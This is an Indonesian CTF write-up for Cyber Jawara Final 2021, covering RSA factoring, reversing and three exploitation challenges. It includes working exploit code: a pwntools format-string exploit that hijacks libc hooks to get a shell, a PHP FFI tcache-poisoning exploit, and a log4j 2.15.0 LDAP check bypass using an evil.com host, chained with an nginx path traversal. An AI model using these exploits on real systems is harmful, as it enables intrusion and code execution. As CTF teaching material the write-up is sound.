Cyber Jawara Final 2021
Halftwin (Crypto)
Diberikan enkripsi RSA dengan nilai adalah hasil dengan sehingga nilai dan memiliki hbit least significant bit yang sama. Penyelesaian problem ini mengikuti acuan paper berikut : https://users.monash.edu.au/~rste/LSBSRSA.pdf
1. Mencari nilai least signifikan bit (LS) yang sama
Persamaan tersebut menjadi permasalahan square-roots modulo a power of 2, nilai yang memenuhi memilki solusi:
Dengan adalah nilai yang memenuhi karena , tidak begitu besar, kita dapat mencari dengan bruteforce dari 4.
def valid(x, a, kCurr):
return (x ** 2 % (1 << kCurr) == (a % (1 << kCurr)))
def generateL(a, kFinal):
L8 = [1, 3, 5, 7]
kCurr = 4
while kCurr <= kFinal:
l_next = []
for l in L8:
new_l = l % (1 << kCurr)
if (valid(new_l, a, kCurr) and new_l not in l_next):
l_next.append(new_l)
new_l = -l % (1 << kCurr)
if (valid(new_l, a, kCurr) and new_l not in l_next):
l_next.append(new_l)
new_l = (-l + (1 << (kCurr - 1))) % (1 << kCurr)
if (valid(new_l, a, kCurr) and new_l not in l_next):
l_next.append(new_l)
new_l = (l + (1 << (kCurr - 1))) % (1 << kCurr)
if (valid(new_l, a, kCurr) and new_l not in l_next):
l_next.append(new_l)
L8 = l_next
kCurr += 1
return l_next
2. Mengestimasi nilai
Karena kita sudah dapat nilai dari , kita dapat mencari nilai dari
- Misal , persamaan diatas akan menjadi:
- Misal
adalah hasil modulo dari sehingga dilakukan bruteforce untuk mendapatkan 2 most significant bit.
e = 65537
N = [...REDACTED...]
c = [...REDACTED...]
nbit = 1536
l_list = generateL(N, nbit//4)
hbit = nbit // 4
p = 0
for l in l_list:
l_inverse = inverse(l, 1 << (2 * hbit))
sH = (l_inverse * (N - l*l)) % (1 << (2 * hbit))
s0 = (2 * l + sH) % (1 << 2 * hbit)
MSs = [0, 1, 2, 3]
for MS in MSs :
s = (MS << (2 * hbit)) + s0
3. Faktorisasi
Bruteforce seluruh kandidat sesuai dengan persamaan tersebut, kemudian difaktorkan untuk mendapat nilai dan dicari nilai yang memenuhi.
for MS in MSs :
s = (MS << (2 * hbit)) + s0
try:
D = iroot(s**2 - 4 * N, 2)[0]
x1 = (s + D)//2
x2 = (s - D)//2
if (N % x1 == 0):
p = x1
elif (N % x2 == 0):
p = x2
if (p != 0):
break
except:
continue
if (p!=0):
break
4. Decrypt RSA dengan dan yang telah didapatkan
q = N//p
assert p*q == N
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, N)
print(long_to_bytes(m))
Log5shell (Pwn)
Infinite format string, overwrite __rltd_global+3848
untuk function pointer dan __rltd_global+2313
untuk argument. Untuk exit, bisa dilakukan dengan overwrite __free_hook
. Trigger dengan membuat input buffer > 655xx.
#!/usr/bin/python
from pwn import *
context.update(arch='amd64', os='linux')
PATH = './patched'
HOST = '178.128.96.165'
PORT = 2
def write(address, value, length = 8):
offset = 16
for i in range(length):
payload = b''
payload += "%{}x%{}$hhn".format(value & 0xff, offset).encode()
payload = payload.ljust(0x40, b'A')
payload += p64(address + i)
value >>= 8
r.sendline(payload)
r.recv()
def exploit(r):
r.recvline(0)
r.sendline("%23$p")
libc_start_main = int(r.recvline(0), 16)
libc.address = libc_start_main - libc.sym.__libc_start_main - 243
info(hex(libc_start_main))
info(hex(libc.address))
write(libc.sym.__free_hook, libc.sym.exit, length=6)
write(libc.address + 0x224f68, libc.sym.system, length=6)
write(libc.address + 0x224968, u64(b'//bin/sh'), length=8)
r.sendline("%65528x")
r.interactive()
if __name__ == '__main__':
elf = ELF(PATH)
libc = ELF('./libc.so.6', checksec = False)
if args.REMOTE:
r = remote(HOST, PORT)
else:
env = {'LD_PRELOAD' : './libc.so.6'}
r = process(PATH, aslr=1, env=env)
exploit(r)
Flag: CJ2021{log4c_logging_like_it_was_90s_974d2985d2923409fa6fc88e461171fc0744dd6d}
Unsecure-by-design (Pwn)
PHP FFI OOB. Manfaatkan oob tersebut untuk overwrite salah satu fd pointer yang ada di tcachebins.
<?php
$a = creatbuf(9, false, true);
$b = $a+1;
$b[0] = 0xdeadbeef;
$b[1] = 0xdeadbeef;
$libc = $b[115] - 0x1ebbe0;
$libc_system = $libc + 0x55410;
$free_hook = $libc + 0x1eeb28;
# overwrite "/box/hax.php" to "/readflag"
# ini akan di free setelah eksekusi "/box/hax.php".
$b[58727] = 0x616c66646165722f;
$b[58728] = 0x67;
# tcache-poisoning tcachebins[1] -> __free_hook.
$b[789] = $free_hook;
$x = creatbuf(9, false, true);
$y = creatbuf(9, false, true);
# overwrite __free_hook -> system.
$y[0] = $libc_system;
?>
Flag: CJ2021{now_you_know_why_ffi_bug_isnt_considered_as_security_bug_06569ff44c3eb0b5a37813356209dde51e9b6a22}
Yggdarsil (Reversing)
Binary yang dibuat menggunakan rust. Dengan dump string akan didapatkan sesuatu yang menarik, yaitu fungsi $author$project$Main$validate.
var $author$project$Main$validate = function (flag) {
return _Utils_eq(
$author$project$Main$extract(
A3($author$project$Main$doEncrypt, 1337, 'sacred_key_for_sacred_tree', flag)),
$author$project$Main$ct) ? 'Correct!' : 'Incorrect!';
Fungsi diatas memanggil fungsi $author$project$Main$doEncrypt
, yang dimana fungsi tersebut akan memanggil fungsi $billstclair$elm_crypto_string$Crypto$Strings$encrypt
yang merupakan fungsi dari suatu library yang terdapat dalam https://github.com/billstclair/elm-crypto-string .
var $author$project$Main$doEncrypt = F3(
function (time, passphrase, plaintext) {
return A3(
$billstclair$elm_crypto_string$Crypto$Strings$encrypt,
$elm$random$Random$initialSeed(time),
passphrase,
plaintext);
});
Didalam github tersebut, terdapat versi online example yang bisa kita gunakan untuk melakukan encrypt dan decrypt. Jadi tinggal masukkan ciphertext dan passphrase untuk dapatkan flag.
Flag: CJ2021{a_delightful_flag_for_reliable_reverser}
Log4shell (Web Exploit)
Pada saat melakukan request dengan route /log dan headers x-real-ip akan dilakukan log dengan format sebagai berikut.
Kemudian saat cek versi dari log4j 2.15.0 masih vulnerable akan tetapi belum didapat public exploitnya, kemudian dilakukan pengecekan patching terhadap source code log4j (https://logging.apache.org/log4j/2.x/jira-report.html)
Pada commit terakhir di gitbox didapati sanity check pada url ldap, akan tetapi masih di bypass dengan menggunakan schema url berikut.
localhost#evil.com:port/path
Lanjut dilakukan pengecekan pada saat deploy apps, aplikasi disini menggunakan spring kemudian dilakukan rev proxy dengan nginx.
server {
listen 80;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
location /yeet {
proxy_pass http://logapp:8080;
}
}
Kita tidak dapat mengakses langsung langsung route /log dengan /yeet/log, akan tetapi untuk request ke internal url bisa menggunakan path traversal /yeet/..;/log
version: '3'
services:
logapp:
build: .
environment:
- FLAG=CJ2021{fakeFlag}
nginx:
build: nginx/
ports:
- 9090:80
Dari file docker-compose didapati jika flag tersimpan di env FLAG logapp, yaudin tinggal chain vuln path traversal sebelumnya dengan log4j. Berikut payloadnya https://gist.github.com/bhrdn/f4b2c4a5faa0b2a105e32451ef6cfac2 (gabisa di embed ke notion kena cf 😭)